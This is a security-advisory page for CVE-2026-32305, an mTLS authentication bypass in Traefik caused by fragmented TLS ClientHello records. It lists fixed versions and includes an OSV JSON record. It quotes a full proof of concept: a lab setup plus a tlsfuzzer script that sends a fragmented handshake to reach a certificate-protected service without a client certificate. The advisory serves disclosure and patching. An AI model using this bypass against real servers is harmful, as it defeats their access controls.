CVE-2026-32305: Github.com/traefik/traefik/v3 Traefik Has A Potential MTLS Vulnerability

HIGH
Advisory Identifier: GHSA-wvvq-wgcr-9q48
CWE-287
Published
Advisory Summary

CVE-2026-32305 is a HIGH traefik has a potential mtls vulnerability (CWE-287: Improper Authentication) affecting Github.com/traefik/traefik/v3 libraries in the Go ecosystem. The issue involves traefik has a potential mtls bypass via fragmented tls clienthello causing pre-sni sniff fallback to default non-mtls tls config. Remediation is available by upgrading affected packages to version 3.7.0-ea.2, 3.6.11, 2.11.41.

CVE-2026-32305 at a Glance

CVE Identifier CVE-2026-32305
GHSA Identifier GHSA-wvvq-wgcr-9q48
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-287: Improper Authentication
Affected Product Github.com/traefik/traefik/v3
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-32305

To remediate this vulnerability, upgrade all affected Github.com/traefik/traefik/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/traefik/traefik/v3 fixed: 3.7.0-ea.2
Upgrade github.com/traefik/traefik/v3 to 3.7.0-ea.2
github.com/traefik/traefik/v3 fixed: 3.6.11
Upgrade github.com/traefik/traefik/v3 to 3.6.11
github.com/traefik/traefik/v2 fixed: 2.11.41
Upgrade github.com/traefik/traefik/v2 to 2.11.41
github.com/traefik/traefik fixed: Latest secure release
Upgrade github.com/traefik/traefik to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/traefik/traefik/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32305, inspect your project dependencies for Github.com/traefik/traefik/v3:

inspect dependencies for github.com/traefik/traefik/v3

Analyze the terminal output to locate any version of Github.com/traefik/traefik/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.7.0-ea.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/traefik/traefik/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets. When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config. If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config). ### Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello. 1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected. Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello). A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config). A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation). ### PoC ```python # prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" # in debian/ubuntu run newgrp docker to apply the new group to the user mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc # CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt # Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOF_SERVER_CNF' [req] distinguished_name = dn req_extensions = v3_req prompt = no [dn] CN = whoami.home.arpa [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = whoami.home.arpa EOF_SERVER_CNF openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf # Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256 cat > config/traefik.yml <<'EOF_TRAEFIK_CFG' entryPoints: websecure: address: ":8443" providers: file: directory: /etc/traefik/dynamic watch: true log: level: DEBUG EOF_TRAEFIK_CFG cat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG' http: routers: whoami: rule: "Host(`whoami.home.arpa`)" entryPoints: - websecure service: whoami tls: options: mtls services: whoami: loadBalancer: servers: - url: "http://whoami:80" tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOF_DYNAMIC_CFG docker network create traefik-poc # run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0 docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml # watch traefik logs to ensure everything was deployed correctly docker logs traefik # tlsfuzzer setup + frag client script mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt cat > frag_clienthello.py <<'EOF_FRAG_SCRIPT' import argparse import sys import os from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIG_ALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, _, body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n") def load_client_cert_and_key(cert_path, key_path): cert = None key = None if cert_path: text_cert = open(cert_path, "rb").read() if sys.version_info[0] >= 3: text_cert = str(text_cert, "utf-8") cert = X509() cert.parse(text_cert) if key_path: text_key = open(key_path, "rb").read() if sys.version_info[0] >= 3: text_key = str(text_key, "utf-8") key = parsePEMKey(text_key, private=True) return cert, key def main(): p = argparse.ArgumentParser() p.add_argument("--connect-host", default="127.0.0.1") p.add_argument("--port", type=int, default=8443) p.add_argument("--sni", default="whoami.home.arpa") p.add_argument("--record-size", type=int, default=512) p.add_argument("--padding-len", type=int, default=1200) p.add_argument("--expect-cert-request", action="store_true") p.add_argument("--client-cert-pem", default="") p.add_argument("--client-key-pem", default="") args = p.parse_args() cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem) print(f"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}") for p in [args.client_cert_pem, args.client_key_pem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}") print(f"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}") if (args.client_cert_pem or args.client_key_pem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem") conv = Connect(args.connect_host, args.port) node = conv node = node.add_child(SetMaxRecordSize(args.record_size)) ext = { ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supported_groups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL), ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL), 21: TLSExtension().create(21, bytearray(args.padding_len)), } ciphers = [ CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA, CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV, ] node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext)) node = node.add_child(ExpectServerHello()) node = node.add_child(ExpectCertificate()) node = node.add_child(ExpectServerKeyExchange()) if args.expect_cert_request: node = node.add_child(ExpectCertificateRequest()) node = node.add_child(ExpectServerHelloDone()) if args.expect_cert_request and cert and key: node = node.add_child(CertificateGenerator(X509CertChain([cert]))) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(CertificateVerifyGenerator(key)) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.add_child(ApplicationDataGenerator(req)) node = node.add_child(PrettyExpectApplicationData(output=sys.stdout)) node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify)) node = node.add_child(ExpectAlert()) node.next_sibling = ExpectClose() elif args.expect_cert_request and not (cert and key): node = node.add_child(CertificateGenerator()) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) else: node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.add_child(ApplicationDataGenerator(req)) node = node.add_child(PrettyExpectApplicationData(output=sys.stdout)) node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify)) node = node.add_child(ExpectAlert()) node.next_sibling = ExpectClose() try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise if __name__ == "__main__": main() EOF_FRAG_SCRIPT chmod +x frag_clienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate # case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python frag_clienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request # case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl s_client \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls1_2 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verify_return_error # case 2: non fragmented, with valid client cert (should succeed) python frag_clienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key # case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet # case 3 fragmented ClientHello, no client cert (bypass behavior test) python frag_clienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 # in the record-size you can play with it as long as the client hello sni sniff function returns an EOF ``` ### Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config. </details> --

CVE-2026-32305 Affected Github.com/traefik/traefik/v3 Versions

4 component(s)
Fixed Versions:
3.7.0-ea.23.6.112.11.41
Product / Package Ecosystem Affected Versions Fixed Version
github.com/traefik/traefik/v3
Go
≥ 3.7.0-ea.1
< 3.7.0-ea.2
3.7.0-ea.2
github.com/traefik/traefik/v3
Go
< 3.6.11
3.6.11
github.com/traefik/traefik/v2
Go
< 2.11.41
2.11.41
github.com/traefik/traefik
Go
≤ 1.7.34

References

Frequently Asked Questions

What is CVE-2026-32305?
CVE-2026-32305 is a security vulnerability in Github.com/traefik/traefik/v3 involving Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config under CWE-287: Improper Authentication.
Which Github.com/traefik/traefik/v3 versions are affected?
Affected versions include releases prior to 3.7.0-ea.2, 3.6.11, 2.11.41 across affected packages: github.com/traefik/traefik/v3, github.com/traefik/traefik/v2, github.com/traefik/traefik.
What version fixes CVE-2026-32305?
Upgrading to 3.7.0-ea.2, 3.6.11, 2.11.41 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/traefik/traefik/v3 affected?
Yes, github.com/traefik/traefik/v3 is affected in releases prior to 3.7.0-ea.2, 3.6.11. Upgrade your dependency to 3.7.0-ea.2, 3.6.11 or later.
Is github.com/traefik/traefik/v2 affected?
Yes, github.com/traefik/traefik/v2 is affected in releases prior to 2.11.41. Upgrade your dependency to 2.11.41 or later.
What CWE is associated with CVE-2026-32305?
CVE-2026-32305 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for CVE-2026-32305?
Run the dependency tree command: 'inspect dependencies for github.com/traefik/traefik/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wvvq-wgcr-9q48",
  "modified" : "2026-03-20T15:43:01Z",
  "published" : "2026-03-20T15:43:01Z",
  "aliases" : [ "CVE-2026-32305" ],
  "summary" : "Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config",
  "details" : "## Summary\n\nThere is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.\n\nWhen a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nI found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.\n\nIf the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).\n\n### Details\nThe vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.\n\n1. In router.go, ServeTCP function calls clientHelloInfo.\n2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes.\nIt runs a temporary TLS parse on those bytes to extract the SNI.\nIf ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).\n4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)\n5. Real Go TLS handshake succeeds later without requiring the client cert.\n6. Request is routed to the host that should have been protected.\n\nConditions required for impact:\n- Route-level TLS options enforce mTLS for a host.\n- Default TLS config is weaker (noClientCert, which is the default default).\n- Pre-sniff fails to extract SNI (due to fragmented ClientHello).\n\nA workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).\n\nA suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).\n\n### PoC\n```python\n# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with \"docker\" instead of docker.io and podman will emulate it)\nsudo apt update\nsudo apt install -y docker.io openssl git python3 python3-venv\nsudo usermod -aG docker \"$USER\"\n# in debian/ubuntu run newgrp docker to apply the new group to the user\n\nmkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}\ncd /tmp/traefik-frag-poc\n\n# CA\nopenssl genrsa -out certs/ca.key 4096\nopenssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \\\n  -subj \"/CN=PoC-CA\" -out certs/ca.crt\n\n# Server cert (whoami.home.arpa)\ncat > certs/server.cnf <<'EOF_SERVER_CNF'\n[req]\ndistinguished_name = dn\nreq_extensions = v3_req\nprompt = no\n\n[dn]\nCN = whoami.home.arpa\n\n[v3_req]\nsubjectAltName = @alt_names\n\n[alt_names]\nDNS.1 = whoami.home.arpa\nEOF_SERVER_CNF\n\nopenssl genrsa -out certs/traefik.key 2048\nopenssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf\nopenssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n  -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf\n\n# Client cert (valid client)\nopenssl genrsa -out certs/client.key 2048\nopenssl req -new -key certs/client.key -subj \"/CN=client1\" -out certs/client.csr\nopenssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n  -out certs/client.crt -days 365 -sha256\n\ncat > config/traefik.yml <<'EOF_TRAEFIK_CFG'\nentryPoints:\n  websecure:\n    address: \":8443\"\n\nproviders:\n  file:\n    directory: /etc/traefik/dynamic\n    watch: true\n\nlog:\n  level: DEBUG\nEOF_TRAEFIK_CFG\n\ncat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG'\nhttp:\n  routers:\n    whoami:\n      rule: \"Host(`whoami.home.arpa`)\"\n      entryPoints:\n        - websecure\n      service: whoami\n      tls:\n        options: mtls\n\n  services:\n    whoami:\n      loadBalancer:\n        servers:\n          - url: \"http://whoami:80\"\n\ntls:\n  certificates:\n    - certFile: /certs/traefik.crt\n      keyFile: /certs/traefik.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\nEOF_DYNAMIC_CFG\n\ndocker network create traefik-poc\n\n\n# run a whoami microservice for the bypass demonstration\ndocker run -d \\\n  --name whoami \\\n  --network traefik-poc \\\n  --restart unless-stopped \\\n  traefik/whoami:v1.11.0\n\ndocker run -d \\\n  --name traefik \\\n  --network traefik-poc \\\n  -p 8443:8443 \\\n  --restart unless-stopped \\\n  -v \"$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z\" \\\n  -v \"$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z\" \\\n  -v \"$PWD/certs:/certs:ro,Z\" \\\n  traefik:3.6.10 \\\n  --configFile=/etc/traefik/traefik.yml\n\n# watch traefik logs to ensure everything was deployed correctly\ndocker logs traefik\n\n# tlsfuzzer setup + frag client script\n\nmkdir -p /tmp/testtlsfuzz\ncd /tmp/testtlsfuzz\ngit clone https://github.com/tlsfuzzer/tlsfuzzer.git\ncd tlsfuzzer\n\npython3 -m venv .venv\nsource .venv/bin/activate\npip install -r requirements.txt\n\ncat > frag_clienthello.py <<'EOF_FRAG_SCRIPT'\nimport argparse\nimport sys\nimport os\n\nfrom tlsfuzzer.runner import Runner\nfrom tlsfuzzer.messages import (\n    Connect,\n    SetMaxRecordSize,\n    ClientHelloGenerator,\n    CertificateGenerator,\n    CertificateVerifyGenerator,\n    ClientKeyExchangeGenerator,\n    ChangeCipherSpecGenerator,\n    FinishedGenerator,\n    ApplicationDataGenerator,\n    AlertGenerator,\n)\nfrom tlsfuzzer.expect import (\n    ExpectServerHello,\n    ExpectCertificate,\n    ExpectServerKeyExchange,\n    ExpectCertificateRequest,\n    ExpectServerHelloDone,\n    ExpectChangeCipherSpec,\n    ExpectFinished,\n    ExpectApplicationData,\n    ExpectAlert,\n    ExpectClose,\n)\nfrom tlsfuzzer.helpers import SIG_ALL\nfrom tlslite.constants import (\n    CipherSuite,\n    ExtensionType,\n    AlertLevel,\n    AlertDescription,\n    GroupName,\n)\nfrom tlslite.extensions import (\n    SNIExtension,\n    TLSExtension,\n    SupportedGroupsExtension,\n    SignatureAlgorithmsExtension,\n    SignatureAlgorithmsCertExtension,\n)\nfrom tlslite.utils.keyfactory import parsePEMKey\nfrom tlslite.x509 import X509\nfrom tlslite.x509certchain import X509CertChain\n\n\nclass PrettyExpectApplicationData(ExpectApplicationData):\n    def process(self, state, msg):\n        super().process(state, msg)\n        text = msg.write().decode(\"utf-8\", errors=\"replace\")\n        head, _, body = text.partition(\"\\r\\n\\r\\n\")\n        print(\"\\n=== HTTP RESPONSE ===\")\n        print(head)\n        print()\n        print(body)\n        print(\"=== END HTTP RESPONSE ===\\n\")\n\n\ndef load_client_cert_and_key(cert_path, key_path):\n    cert = None\n    key = None\n\n    if cert_path:\n        text_cert = open(cert_path, \"rb\").read()\n        if sys.version_info[0] >= 3:\n            text_cert = str(text_cert, \"utf-8\")\n        cert = X509()\n        cert.parse(text_cert)\n\n    if key_path:\n        text_key = open(key_path, \"rb\").read()\n        if sys.version_info[0] >= 3:\n            text_key = str(text_key, \"utf-8\")\n        key = parsePEMKey(text_key, private=True)\n\n    return cert, key\n\n\ndef main():\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--connect-host\", default=\"127.0.0.1\")\n    p.add_argument(\"--port\", type=int, default=8443)\n    p.add_argument(\"--sni\", default=\"whoami.home.arpa\")\n    p.add_argument(\"--record-size\", type=int, default=512)\n    p.add_argument(\"--padding-len\", type=int, default=1200)\n    p.add_argument(\"--expect-cert-request\", action=\"store_true\")\n    p.add_argument(\"--client-cert-pem\", default=\"\")\n    p.add_argument(\"--client-key-pem\", default=\"\")\n    args = p.parse_args()\n\n    cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem)\n\n    print(f\"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}\")\n    for p in [args.client_cert_pem, args.client_key_pem]:\n        if p:\n            print(f\"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}\")\n\n    print(f\"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}\")\n    print(f\"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}\")\n\n\n    if (args.client_cert_pem or args.client_key_pem) and not (cert and key):\n        raise ValueError(\"Provide both --client-cert-pem and --client-key-pem\")\n\n    conv = Connect(args.connect_host, args.port)\n    node = conv\n    node = node.add_child(SetMaxRecordSize(args.record_size))\n\n    ext = {\n        ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, \"ascii\")),\n        ExtensionType.supported_groups: SupportedGroupsExtension().create(\n            [GroupName.secp256r1, GroupName.ffdhe2048]\n        ),\n        ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL),\n        ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL),\n        21: TLSExtension().create(21, bytearray(args.padding_len)),\n    }\n\n    ciphers = [\n        CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n        CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\n        CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA,\n        CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV,\n    ]\n\n    node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext))\n    node = node.add_child(ExpectServerHello())\n    node = node.add_child(ExpectCertificate())\n    node = node.add_child(ExpectServerKeyExchange())\n\n    if args.expect_cert_request:\n        node = node.add_child(ExpectCertificateRequest())\n\n    node = node.add_child(ExpectServerHelloDone())\n\n    if args.expect_cert_request and cert and key:\n        node = node.add_child(CertificateGenerator(X509CertChain([cert])))\n        node = node.add_child(ClientKeyExchangeGenerator())\n        node = node.add_child(CertificateVerifyGenerator(key))\n        node = node.add_child(ChangeCipherSpecGenerator())\n        node = node.add_child(FinishedGenerator())\n        node = node.add_child(ExpectChangeCipherSpec())\n        node = node.add_child(ExpectFinished())\n        req = bytearray(\n            f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n        )\n        node = node.add_child(ApplicationDataGenerator(req))\n        node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n        node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n        node = node.add_child(ExpectAlert())\n        node.next_sibling = ExpectClose()\n\n    elif args.expect_cert_request and not (cert and key):\n        node = node.add_child(CertificateGenerator())\n        node = node.add_child(ClientKeyExchangeGenerator())\n        node = node.add_child(ChangeCipherSpecGenerator())\n        node = node.add_child(FinishedGenerator())\n        node = node.add_child(ExpectChangeCipherSpec())\n        node = node.add_child(ExpectFinished())\n\n    else:\n        node = node.add_child(ClientKeyExchangeGenerator())\n        node = node.add_child(ChangeCipherSpecGenerator())\n        node = node.add_child(FinishedGenerator())\n        node = node.add_child(ExpectChangeCipherSpec())\n        node = node.add_child(ExpectFinished())\n        req = bytearray(\n            f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n        )\n        node = node.add_child(ApplicationDataGenerator(req))\n        node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n        node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n        node = node.add_child(ExpectAlert())\n        node.next_sibling = ExpectClose()\n\n    try:\n        Runner(conv).run()\n        print(\"[OK] conversation completed\")\n    except AssertionError as e:\n        print(f\"[TLS RAW ERROR] {e}\")\n        marker = \"Unexpected message from peer: \"\n        s = str(e)\n        if marker in s:\n            print(f\"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}\")\n        raise\n\n\nif __name__ == \"__main__\":\n    main()\nEOF_FRAG_SCRIPT\n\nchmod +x frag_clienthello.py\ncd /tmp/testtlsfuzz/tlsfuzzer\nsource .venv/bin/activate\n\n# case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate)\npython frag_clienthello.py \\\n  --connect-host 127.0.0.1 \\\n  --port 8443 \\\n  --sni whoami.home.arpa \\\n  --record-size 16384 \\\n  --expect-cert-request\n\n# case 1b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client \\\n  -connect 127.0.0.1:8443 \\\n  -servername whoami.home.arpa \\\n  -tls1_2 \\\n  -CAfile /tmp/traefik-frag-poc/certs/ca.crt \\\n  -state -msg -tlsextdebug -verify_return_error\n\n\n# case 2: non fragmented, with valid client cert (should succeed) \npython frag_clienthello.py \\\n  --connect-host 